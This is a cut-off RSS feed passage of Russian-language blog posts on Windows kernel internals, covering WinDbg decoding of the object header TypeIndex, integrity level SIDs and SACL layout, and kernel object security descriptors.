fffff806`2baa3ce7 c3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ret</pre></td></tr></table></div></td></tr></tbody></table></div>Функция ObGetObjectType принимает адрес объекта в качестве аргумента и выполняет следующие действия:<br />
1. Код вычисляет адрес структуры _OBJECT_HEADER путем вычитания 0x30 из адреса памяти объекта, переданного в качестве аргумента.<br />
0x30 это смещение от начала объекта до его заголовка в 64 битных ОС. В 32 битных ОС это смещение равняется 0x18.<br />
2. Код выполняет операцию XOR для значения TypeIndex со вторым младшим байтом адреса структуры _OBJECT_HEADER, вычисленного на предыдущем шаге.<br />
3. Затем код выполняет операцию XOR для результата из второго шага с байтом по адресу ObHeaderCookie.<br />
4. Наконец результат операций XOR используется как индекс в ObTypeIndexTable и возвращает указатель на структуру _OBJECT_TYPE по этому индексу.<br />
<br />
Теперь более простым языком, чтобы было понятно.<br />
У нас есть объект <b>PROCESS ffffc4052a8df040</b> процесса System, определенный после выполнения команды <code class="inlinecode">!process 0 0 System</code><br />
От его значения мы отнимаем смещение до начала заголовка объекта: ffffc4052a8df040 - 0x30 = ffffc4052a8df010<br />
Отсчёт байт начинается справа налево. Таким образом второй младший байт это <b>0xf0</b> (ffffc4052a8d <b>f0</b> 10).<br />
Затем, необходимо выполнить команду <code class="inlinecode">db nt!ObHeaderCookie l1</code> чтобы определить байт в cookie, он равен <b>0xb9</b>.<br />
TypeIndex в зашифрованном виде равен <b>0x4e</b>.<br />
Теперь у нас есть все необходимые данные, они же ключи для расшифровки закодированного индекса методом XOR.<br />
Введём следующую команду: <code class="inlinecode">? f0 ^ 4e ^ b9</code><br />
В итоге получаем расшифрованный <b>TypeIndex: 0x7</b> для процесса System как и в случае с Windows 7.<br />
<br />
Выведем таблицу ObTypeIndexTable командой <code class="inlinecode">dps nt!ObTypeIndexTable</code> (как видите BAD ObjectHeader в Windows 10/11 уже нет).<br />
Остаётся лишь только проверить имя <b>Name : _UNICODE_STRING &quot;Process&quot;</b> и адреса в <b>TypeList : _LIST_ENTRY (0xffffc405`2a8bf380)</b>,<br />
командой <code class="inlinecode">dt nt!_OBJECT_TYPE poi(nt!ObTypeIndexTable + (7 * 8))</code><br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7345&amp;d=1640361666" rel="Lightbox" id="attachment7345" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7345&amp;thumb=1&amp;d=1640361666" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 11.png
Просмотров: 432
Размер:	40.5 Кб
ID:	7345" style="margin: 5px" /></a><br />
<br />
Ну чтож, на этом я хотел бы поставить точку в изучении объектов операционной системы Windows.<br />
Конечно же это только верхушка айсберга, и внутреннее устройство ОС Windows куда сложнее того, что я показал здесь.<br />
Но главное, мы научились вскрывать то, что Microsoft зашифровала, причём на уровне ядра.</div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/7394.html</guid>
		</item>
		<item>
			<title>Объекты операционной системы. Часть 3: Уровень целостности</title>
			<link>https://www.cyberforum.ru/blogs/172954/7372.html</link>
			<pubDate>Tue, 07 Dec 2021 22:51:18 GMT</pubDate>
			<description>Объекты операционной системы. Часть 1: Общие сведения...</description>
			<content:encoded><![CDATA[<div><a href="https://www.cyberforum.ru/blogs/172954/blog7337.html">Объекты операционной системы. Часть 1: Общие сведения</a><br />
<a href="https://www.cyberforum.ru/blogs/172954/blog7338.html">Объекты операционной системы. Часть 2: Объект ядра</a><br />
<br />
Честно говоря, третью часть блога &quot;Объекты операционной системы&quot; я хотел написать совершенно про другое.<br />
В планах было показать работу ядерного отладчика WinDbg, но в процессе подготовки материала и копания ядра ОС наткнулся на кое-что интересное.<br />
Поэтому практической частью работы WinDbg думаю займёмся позже. А сейчас предлагаю познакомиться с Integrity Level (или уровень целостности).<br />
<br />
Уровень целостности это своего рода метка, установленная в ACL (в частности в SACL) в одном из его ACE, а точнее в SYSTEM_MANDATORY_LABEL_ACE.<br />
Если кто-то запутался вот небольшой FAQ по Access Control List (список управления доступом):<br />
ACL это общее понятие для SACL (системный список управления доступом) и DACL (список управления доступом на уровне конкретного аккаунта).<br />
У SACL и у DACL есть свои ACE - запись управления доступом. ACE достаточно много и их комбинация как раз и определяет того, кто может получить доступ к SACL и DACL.<br />
Это и есть основа механизма защиты от неправомерного доступа к объектам ядра ОС Windows.<br />
<br />
Но вернёмся к Integrity Level.<br />
Integrity Level, если они есть, хранятся в SACL объекта.<br />
Со времён Windows XP были определены следующие уровни целостности:<br />
<br />
<div class="codeblock"><table class="unknown"><thead><tr><td colspan="2" id="549407867"  class="head">Code</td></tr></thead><tbody><tr class="li1"><td><div id="549407867" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
</pre></td><td class="de1"><pre class="de1">SID: S-<span class="nu0">1</span>-<span class="nu0">16</span>-<span class="nu0">0</span>
Значение: 0x00000000L
Обозначение: ML_UNTRUSTED
Метка RID: SECURITY_MANDATORY_UNTRUSTED_RID
Описание: Недоверенный уровень целостности <span class="br0">&#40;</span>An untrusted integrity level<span class="br0">&#41;</span>
Применение: Processes started by Anonymous account
&nbsp;
SID: S-<span class="nu0">1</span>-<span class="nu0">16</span>-<span class="nu0">4096</span>
Значение: 0x00001000L
Обозначение: ML_LOW
Метка RID: SECURITY_MANDATORY_LOW_RID
Описание: Низкий уровень целостности <span class="br0">&#40;</span>A low integrity level<span class="br0">&#41;</span>
Применение: Internet Explorer Protected Mode process or AppContainer process <span class="br0">&#40;</span>TOKEN_LOWBOX <span class="br0">&#40;</span>0x00004000<span class="br0">&#41;</span><span class="br0">&#41;</span>
&nbsp;
SID: S-<span class="nu0">1</span>-<span class="nu0">16</span>-<span class="nu0">8192</span>
Значение: 0x00002000L
Обозначение: ML_MEDIUM
Метка RID: SECURITY_MANDATORY_MEDIUM_RID
Описание: Средний уровень целостности <span class="br0">&#40;</span>A medium integrity level<span class="br0">&#41;</span>
Применение: Process for regular applications with enabled UAC
&nbsp;
SID: S-<span class="nu0">1</span>-<span class="nu0">16</span>-<span class="nu0">8448</span>
Значение: 0x00002100L
Обозначение: ML_MEDIUM_PLUS
Метка RID: RID: SECURITY_MANDATORY_MEDIUM_PLUS_RID
Описание: Уровень целостности выше среднего <span class="br0">&#40;</span>A medium plus integrity level<span class="br0">&#41;</span>
Применение: Can be used as a priority between medium and high
&nbsp;
SID: S-<span class="nu0">1</span>-<span class="nu0">16</span>-<span class="nu0">12288</span>
Значение: 0x00003000L
Обозначение: ML_HIGH
Метка RID: SECURITY_MANDATORY_HIGH_RID
Описание: Высокий уровень целостности <span class="br0">&#40;</span>A high integrity level<span class="br0">&#41;</span>
Применение: Applications executed with UAC elevation
&nbsp;
SID: S-<span class="nu0">1</span>-<span class="nu0">16</span>-<span class="nu0">16384</span>
Значение: 0x00004000L
Обозначение: ML_SYSTEM
Метка RID: SECURITY_MANDATORY_SYSTEM_RID
Описание: Системный уровень целостности <span class="br0">&#40;</span>A system integrity level<span class="br0">&#41;</span>
Применение: Services or system applications, such as Winlogon and Wininit</pre></td></tr></table></div></td></tr></tbody></table></div>Если в SACL нет метки RID, объект имеет уровень целостности по умолчанию ML_MEDIUM (S-1-16-8192).<br />
<br />
С релизом Windows Vista (как мы уже знаем из предыдущих моих блогов) были внедрены защищенные процессы (а в Windows 8.1 ещё и защищенные сервисы и их процессы).<br />
Соответственно был добавлен следующий уровень целостности:<br />
<br />
<div class="codeblock"><table class="unknown"><thead><tr><td colspan="2" id="264007204"  class="head">Code</td></tr></thead><tbody><tr class="li1"><td><div id="264007204" style="height: 126px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
</pre></td><td class="de1"><pre class="de1">SID: S-<span class="nu0">1</span>-<span class="nu0">16</span>-<span class="nu0">20480</span>
Значение: 0x00005000L
Обозначение: ML_PROTECTED_PROCESS
Метка RID: SECURITY_MANDATORY_PROTECTED_PROCESS_RID
Описание: Уровень целостности защищенного процесса <span class="br0">&#40;</span>A protected-process integrity level<span class="br0">&#41;</span>
Применение: Included in a token for protected processes</pre></td></tr></table></div></td></tr></tbody></table></div><br />
А вот с релизом Windows 10 появился ещё один уровень целостности - Secure Process (самый высший на данный момент).<br />
Что это такое? В двух словах - это виртуальная машина, состоящая из Изоляции ядра и Целостности памяти.<br />
Windows использует функции аппаратной виртуализации для создания защищенной области системной памяти, изолированной от обычной операционной системы.<br />
Это защищает процессы операционной системы от несанкционированного доступа к чему-либо, находящемуся за пределами безопасной зоны.<br />
Даже если вредоносная программа использует эксплойт, который должен позволить взломать эти процессы Windows, виртуализация является дополнительным уровнем защиты, который изолирует их от атак.<br />
Целостность памяти это функция, которая является подмножеством изоляции ядра.<br />
Для Windows обычно требуются цифровые подписи для драйверов устройств и другого кода, который работает в режиме ядра ОС низкого уровня.<br />
Когда Целостность памяти включена, служба целостности кода в Windows запускается внутри контейнера, защищенного гипервизором, созданного изоляцией ядра.<br />
Это должно сделать почти невозможным получение вредоносным ПО доступа к ядру ОС.<br />
В Windows 10 и более новых ОС для виртуальной машины есть своё отдельное ядро - <b>securekernel.exe</b> (расположенное в папке System32),<br />
а также хост для инициализации - <b>secinit.exe</b> (как wininit.exe для сессии 0, и winlogon.exe-&gt;userinit.exe для сессии 1),<br />
и свой модуль целостности кода - <b>skci.dll</b> (как ci.dll для обычного ядра).<br />
Очень неплохая статья про новый вид защиты HyperGuard (как раз то самое ядро securekernel.exe) вышла прям 1 января.<br />
Кому интересно, могут ознакомиться<br />
<a rel="nofollow noopener noreferrer" href="https://windows-internals.com/hyperguard-secure-kernel-patch-guard-part-1-skpg-initialization/" target="_blank" title="https://windows-internals.com/hyperguard-secure-kernel-patch-guard-part-1-skpg-initialization/">HyperGuard – Secure Kernel Patch Guard: Part 1 – SKPG Initialization</a><br />
<a rel="nofollow noopener noreferrer" href="https://windows-internals.com/hyperguard-secure-kernel-patch-guard-part-2-skpg-extents/" target="_blank" title="https://windows-internals.com/hyperguard-secure-kernel-patch-guard-part-2-skpg-extents/">HyperGuard – Secure Kernel Patch Guard: Part 2 – SKPG Extents</a><br />
<a rel="nofollow noopener noreferrer" href="https://windows-internals.com/hyperguard-part-3-more-skpg-extents/" target="_blank" title="https://windows-internals.com/hyperguard-part-3-more-skpg-extents/">HyperGuard – Secure Kernel Patch Guard: Part 3 – More SKPG Extents</a><br />
<br />
Уровень целостности Secure Process выглядит следующим образом:<br />
<br />
<div class="codeblock"><table class="unknown"><thead><tr><td colspan="2" id="414682863"  class="head">Code</td></tr></thead><tbody><tr class="li1"><td><div id="414682863" style="height: 126px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
</pre></td><td class="de1"><pre class="de1">SID: S-<span class="nu0">1</span>-<span class="nu0">16</span>-<span class="nu0">28672</span>
Значение: 0x00007000L
Обозначение: ML_SECURE_PROCESS
Метка RID: SECURITY_MANDATORY_SECURE_PROCESS_RID
Описание: Уровень целостности безопасного процесса <span class="br0">&#40;</span>A secure process integrity level<span class="br0">&#41;</span>
Применение: Included in a token for protected processes, new for Windows <span class="nu0">10</span></pre></td></tr></table></div></td></tr></tbody></table></div><br />
Логика работы Integrity Level такова: процесс с меньшим RID не может получить доступ к ACL процесса с большим RID.<br />
Процессы, запускаемые обычным пользователем (в том числе администратором), получают средний уровень целостности (S-1-16-8192).<br />
А процессы, запущенные через UAC с правами администратора - высокий уровень целостности (S-1-16-12288).<br />
Здесь следует упомянуть одно интересное правило, которое Microsoft оставила в целях контроля над ОС (ведь не имея доступа к системе, контроль над ОС будет утерян полностью).<br />
Как вы заметили RID повышается с определенным шагом, равным 0x1000. Этот шаг необходимо повышать равномерно.<br />
<br />
Но вот что необычно: SID S-1-16-28672 определен как 0x7000 и по отношению к SID S-1-16-20480 это два шага.<br />
Здесь либо существует какой-то скрытый от посторонних глаз SID, либо Microsoft сознательно запретила абсолютно любой доступ к безопасным процессам.<br />
<br />
<br />
Интерес вызвал у меня SECURITY_MANDATORY_PROTECTED_PROCESS_RID .<br />
Как я не искал эту метку, найти средствами, предоставленными Microsoft, я не смог.<br />
Для примера, откроем WinDbg и проверим SACL процесса System (ядра операционной системы):<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7276&amp;d=1638916184" rel="Lightbox" id="attachment7276" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7276&amp;thumb=1&amp;d=1638916184" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 33.png
Просмотров: 419
Размер:	18.0 Кб
ID:	7276" style="margin: 5px" /></a><br />
Посмотрите на его SID, он равен S-1-16-16384, что соответствует SECURITY_MANDATORY_SYSTEM_RID.<br />
Но данный процесс в Windows Vista и более новых ОС является не просто системным, а полностью защищенным (хоть и без метки PS_PROTECTED_TYPE в Vista, 7 и 8), и по всей логике должен иметь SID S-1-16-20480.<br />
<br />
Я внёс некоторые изменения в механизм распознавания SID таких процессов в KernelExplorer, пока только в консольную версию, и это не полная реализация (как видите отсутствует доступ к некоторым частям SACL):<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7278&amp;d=1638916531" rel="Lightbox" id="attachment7278" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7278&amp;thumb=1&amp;d=1638916531" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 11.png
Просмотров: 465
Размер:	55.6 Кб
ID:	7278" style="margin: 5px" /></a><br />
Повторюсь, так вижу я представление защищенных процессов. Почему ядерные API этого не видят, я не знаю.<br />
Как видите KernelExplorer определил SID процесса System как S-1-16-20480 и соответственно SECURITY_MANDATORY_PROTECTED_PROCESS_RID .<br />
У потоков процесса нужно делать наследование токена, чтобы определить SID. Но как правило он такой же как и у родительского процесса.<br />
<br />
И приведу ещё один скриншот - механизм распознавания SID у незащищенного процесса lsass.exe, который является системным<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7277&amp;d=1638916531" rel="Lightbox" id="attachment7277" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7277&amp;thumb=1&amp;d=1638916531" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 22.png
Просмотров: 471
Размер:	39.7 Кб
ID:	7277" style="margin: 5px" /></a><br />
Здесь всё правильно: процесс без защиты и он системный, соответственно SID S-1-16-16384.<br />
<br />
<br />
И вот что я думаю по этому поводу - доступа у отладчика к SECURITY_MANDATORY_PROTECTED_PROCESS_RID нет.<br />
А ACL он просто вычисляет от указателя на PSECURITY_DESCRIPTOR.<br />
Делается это следующим образом, рассмотрим пример:<br />
<div class="codeblock"><table class="unknown"><thead><tr><td colspan="2" id="406713580"  class="head">Code</td></tr></thead><tbody><tr class="li1"><td><div id="406713580" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
</pre></td><td class="de1"><pre class="de1">PROCESS_SECURITY_DESCRIPTOR: 0x0000000000355AE0 <span class="br0">&#40;</span>length: <span class="nu0">136</span> bytes<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; SID_REVISION: <span class="nu0">1</span> <span class="br0">&#40;</span>field: <span class="nu0">1</span> byte<span class="br0">&#41;</span>
&nbsp; &nbsp; Sbz1: <span class="nu0">0</span> <span class="br0">&#40;</span>field: <span class="nu0">1</span> byte<span class="br0">&#41;</span>
&nbsp; &nbsp; Flags: SE_SELF_RELATIVE | SE_SACL_AUTO_INHERITED | SE_SACL_PRESENT | SE_DACL_PRESENT <span class="br0">&#40;</span>field: <span class="nu0">2</span> bytes<span class="br0">&#41;</span>
&nbsp; &nbsp; Offset group: 0x0000000000355B04 <span class="br0">&#40;</span>field: <span class="nu0">4</span> bytes<span class="br0">&#41;</span>
&nbsp; &nbsp; Offset owner: 0x0000000000355AF4 <span class="br0">&#40;</span>field: <span class="nu0">4</span> bytes<span class="br0">&#41;</span>
&nbsp; &nbsp; Offset SACL: 0x0000000000355B4C <span class="br0">&#40;</span>field: <span class="nu0">4</span> bytes<span class="br0">&#41;</span>
&nbsp; &nbsp; Offset DACL: 0x0000000000355B10 <span class="br0">&#40;</span>field: <span class="nu0">4</span> bytes<span class="br0">&#41;</span>
&nbsp; &nbsp; SID group: S-<span class="nu0">1</span>-<span class="nu0">5</span>-<span class="nu0">18</span> &gt;&gt; NT AUTHORITY\система <span class="br0">&#40;</span>length: <span class="nu0">12</span> bytes<span class="br0">&#41;</span>
&nbsp; &nbsp; SID owner: S-<span class="nu0">1</span>-<span class="nu0">5</span>-<span class="nu0">32</span>-<span class="nu0">544</span> &gt;&gt; BUILTIN\Администраторы <span class="br0">&#40;</span>length: <span class="nu0">16</span> bytes<span class="br0">&#41;</span>
&nbsp;
&nbsp; &nbsp; SACL_REVISION: <span class="nu0">2</span>
&nbsp; &nbsp; SACL Sbz1: <span class="nu0">0</span>
&nbsp; &nbsp; SACL size: <span class="nu0">28</span> bytes
&nbsp; &nbsp; SACL:ACE count: <span class="nu0">1</span>
&nbsp; &nbsp; &nbsp; &nbsp; SACL:ACE<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.address: 0x0000000000355B54
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SACL:ACE<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.AceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SACL:ACE<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.AceFlag: <span class="nu0">0</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SACL:ACE<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.AceSize: <span class="nu0">20</span> bytes
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SACL:ACE<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.Mask: 0x3
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SACL:ACE<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>-&gt;SID: S-<span class="nu0">1</span>-<span class="nu0">16</span>-<span class="nu0">16384</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SACL:ACE<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>-&gt;RID: ML_SYSTEM
&nbsp; &nbsp; SACL Sbz2: <span class="nu0">0</span>
&nbsp;
&nbsp; &nbsp; DACL_REVISION: <span class="nu0">2</span>
&nbsp; &nbsp; DACL Sbz1: <span class="nu0">0</span>
&nbsp; &nbsp; DACL size: <span class="nu0">60</span> bytes
&nbsp; &nbsp; DACL:ACE count: <span class="nu0">2</span>
&nbsp; &nbsp; &nbsp; &nbsp; DACL:ACE<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.address: 0x0000000000355B18
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DACL:ACE<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.AceType: ACCESS_ALLOWED_ACE_TYPE
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DACL:ACE<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.AceFlag: <span class="nu0">0</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DACL:ACE<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.AceSize: <span class="nu0">20</span> bytes
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DACL:ACE<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.Mask: 0x1fffff
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DACL:ACE<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>-&gt;SID: S-<span class="nu0">1</span>-<span class="nu0">5</span>-<span class="nu0">18</span>
&nbsp; &nbsp; &nbsp; &nbsp; DACL:ACE<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>.address: 0x0000000000355B2C
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DACL:ACE<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>.AceType: ACCESS_ALLOWED_ACE_TYPE
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DACL:ACE<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>.AceFlag: <span class="nu0">0</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DACL:ACE<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>.AceSize: <span class="nu0">24</span> bytes
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DACL:ACE<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>.Mask: 0x121411
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DACL:ACE<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>-&gt;SID: S-<span class="nu0">1</span>-<span class="nu0">5</span>-<span class="nu0">32</span>-<span class="nu0">544</span>
&nbsp; &nbsp; DACL Sbz2: <span class="nu0">0</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>К указателю PSECURITY_DESCRIPTOR нужно прибавить размеры SID_REVISION, Sbz1, Flags, все Offset'ы и все SID'ы, размер SIZE_T, а также DACL size.<br />
<code class="inlinecode">0x0000000000355AE0</code> + <code class="inlinecode">1</code> + <code class="inlinecode">1</code> + <code class="inlinecode">2</code> + <code class="inlinecode">4</code> + <code class="inlinecode">4</code> + <code class="inlinecode">4</code> + <code class="inlinecode">4</code> + <code class="inlinecode">12</code> (1-5-18 = 4 + 4 + 4 = 12 -&gt; каждая цифра это 4 байта (int)) + <code class="inlinecode">16</code> (1-5-32-544 = 4 + 4 + 4 + 4 = 16 -&gt; каждая цифра это 4 байта (int)) + <code class="inlinecode">8</code> (для x64 sizeof(SIZE_T) равен 8) (именно здесь появляется указатель на начало DACL = <code class="inlinecode">0x0000000000355B18</code>) + <code class="inlinecode">60</code> (DACL size: 60 bytes) = <code class="inlinecode">0x0000000000355B54</code> (указатель на начало SACL).<br />
<br />
<b><font size="5">Небольшое дополнение.</font></b><br />
Разработчик WinObjEx (аналога WinObj от Руссиновича, но с более широким набором инструментов (впрочем как и ProcessHacker куда круче, чем ProcessExplorer))<br />
также считает, что у системных процессов (в частности ядра ОС - ntoskrnl.exe) уровень целостности должен быть ML_PROTECTED_PROCESS<br />
Соответственно в программу внесены изменения, с помощью которых можно определять уровень целостности того или иного процесса<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7351&amp;d=1640631079" rel="Lightbox" id="attachment7351" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7351&amp;thumb=1&amp;d=1640631079" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.png
Просмотров: 431
Размер:	109.4 Кб
ID:	7351" style="margin: 5px" /></a><br />
<br />
<a href="https://www.cyberforum.ru/blogs/172954/blog7394.html">Объекты операционной системы. Часть 4: Отладчик уровня ядра WinDbg</a></div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/7372.html</guid>
		</item>
		<item>
			<title>Объекты операционной системы. Часть 2: Объект ядра</title>
			<link>https://www.cyberforum.ru/blogs/172954/7338.html</link>
			<pubDate>Tue, 16 Nov 2021 09:22:16 GMT</pubDate>
			<description>Объекты операционной системы. Часть 1: Общие сведения...</description>
			<content:encoded><![CDATA[<div><a href="https://www.cyberforum.ru/blogs/172954/blog7337.html">Объекты операционной системы. Часть 1: Общие сведения</a><br />
<br />
Больший интерес из всех трёх групп объектов представляет категория объект ядра.<br />
Рассмотрим более подробно <b>Kernel object.</b><br />
<br />
<u>Каждый объект ядра - это блок памяти, выделенный ядром ОС и доступный только ядру ОС.</u><br />
Этот блок памяти представляет собой структуру данных, члены которой хранят информацию об объекте (дескриптор безопасности, счетчик использования и т.д.).<br />
Некоторые члены этих структур одинаковы для всех типов объектов, но большинство относятся к конкретному типу объекта.<br />
Например, объект процесса имеет идентификатор процесса, базовый приоритет и код выхода, тогда как объект файла имеет байтовое смещение, режим sharing mode и режим open mode.<br />
Поскольку структуры данных объекта ядра доступны только ядру ОС, приложение не может найти эти структуры данных в памяти и напрямую изменить их содержимое.<br />
Windows API предлагает набор функций, которые документированными способами взаимодействуют с этими структурами.<br />
Когда используется функция, которая создает объект ядра, она возвращает дескриптор, который идентифицирует объект.<br />
Передавая этот дескриптор различным функциям Windows, система точно знает с каким объектом ядра необходимо взаимодействовать.<br />
<br />
<u>Объекты ядра принадлежат ядру ОС, а не процессу.</u><br />
Процесс вызывает функцию, которая создает объект ядра. Если процесс завершается, объект ядра не обязательно уничтожается. <br />
Если другой процесс использует данный объект ядра, ОС ​​знает, что нельзя уничтожать этот объект, пока другой процесс не перестанет его использовать.<br />
Для этого в ОС предусмотрен счетчик использования. Когда объект ядра создается впервые, его счетчик использования устанавливается на 1.<br />
Затем, когда другой процесс получает доступ к существующему объекту ядра, счетчик использования увеличивается на единицу.<br />
Когда процесс завершается, ядро ОС ​​автоматически уменьшает счетчик использования для всех объектов ядра на единицу.<br />
Если счетчик использования объекта становится равным 0, ядро ОС ​​уничтожает объект.<br />
<br />
<u>Дескриптор безопасности (Security Descriptor).</u><br />
Объекты ядра могут быть защищены дескриптором безопасности.<br />
Почти все функции, которые создают объекты ядра, имеют указатель на структуру SECURITY_ATTRIBUTES в качестве аргумента.<br />
Именно этим и отличается Kernel object от других категорий (ни у User object, ни у GDI object нет дескрипторов безопасности).<br />
<br />
Более подробно что из себя представляет дескриптор безопасности рассмотрим на примере функции CreateProcess<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="791685624"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="791685624" style="height: 222px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="de1"><pre class="de1">BOOL CreateProcessW<span class="br0">&#40;</span>
&nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp;LPCWSTR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lpApplicationName,
&nbsp; <span class="br0">&#91;</span>in, out, optional<span class="br0">&#93;</span> LPWSTR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;lpCommandLine,
&nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp;LPSECURITY_ATTRIBUTES lpProcessAttributes,
&nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp;LPSECURITY_ATTRIBUTES lpThreadAttributes,
&nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;BOOL &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;bInheritHandles,
&nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;DWORD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dwCreationFlags,
&nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp;LPVOID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;lpEnvironment,
&nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp;LPCWSTR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lpCurrentDirectory,
&nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LPSTARTUPINFOW &nbsp; &nbsp; &nbsp; &nbsp;lpStartupInfo,
&nbsp; <span class="br0">&#91;</span>out<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LPPROCESS_INFORMATION lpProcessInformation
<span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Большинство приложений просто передают NULL для этого аргумента, поэтому объект ядра создается с безопасностью по умолчанию.<br />
Безопасность по умолчанию означает, что любой пользователь группы администраторов и создатель объекта ядра имеют определённый доступ к создаваемому объекту, всем остальным доступ запрещен.<br />
Структура SECURITY_ATTRIBUTES описывается следующим образом<br />
